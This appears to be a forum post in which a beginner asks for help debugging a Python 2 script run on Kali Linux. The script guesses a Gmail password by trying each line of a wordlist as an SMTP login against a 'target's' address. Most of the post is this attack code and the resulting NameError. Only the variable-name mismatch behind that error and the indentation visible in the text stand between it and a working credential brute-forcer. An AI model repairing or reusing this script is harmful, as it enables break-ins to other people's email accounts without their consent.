I'm new to programming, but I'm trying to create the following script. Can you show me what I'm doing wrong?
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password
When I add my wordlist.lst file, an error message comes up in my terminal saying the following:
File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined
Can any experts give me some advice please? I'm using Python 2.7.9 on Kali Linux (Python 2 was pre-installed, so I just decided to learn it instead of try Python 3.)